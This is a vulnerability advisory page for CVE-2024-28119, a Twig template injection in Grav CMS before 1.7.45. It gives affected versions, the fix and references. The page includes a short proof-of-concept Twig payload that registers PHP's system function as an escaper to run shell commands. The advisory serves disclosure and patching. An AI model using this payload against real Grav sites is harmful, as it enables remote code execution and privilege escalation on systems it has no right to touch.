CVE-2024-28119: Server Side Template Injection (SSTI) via Twig escape handler
Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. Details https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99 Twig supports the functionality to redefine the escape function through the setEscaper method.
Published Mar 22, 2024 · Updated Jan 3, 2025
Affected packages
getgrav/grav
- Ecosystem
- Composer (PHP)
- Affected
- < 1.7.45
- Fixed in
- 1.7.45
- Check
composer show getgrav/grav
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.
Details
https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
/**
* Defines a new escaper to be used via the escape filter.
*
* @param string $strategy The strategy name that should be used as a strategy in the escape call
* @param callable $callable A valid PHP callable
*/
public function setEscaper($strategy, callable $callable)
{
$this->escapers[$strategy] = $callable;
}Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.
{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.
PoC
{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Credited to as3617, juckchang.
References
- https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58
- https://nvd.nist.gov/vuln/detail/CVE-2024-28119
- https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe
- https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
- https://github.com/advisories/GHSA-2m7x-c7px-hp58
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-61449
Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer
medium6.5Sep 17, 2026CVE-2026-65608
Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation
high8.8Sep 17, 2026CVE-2026-69088
Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure
high8.1Sep 17, 2026CVE-2026-69089
Grav: Path Traversal in ImageMedium::watermark() — arbitrary file disclosure via publicly-cached images
high8.7Sep 17, 2026CVE-2026-72695
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
high8.1Sep 17, 2026CVE-2026-72697
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
high6.5Sep 17, 2026
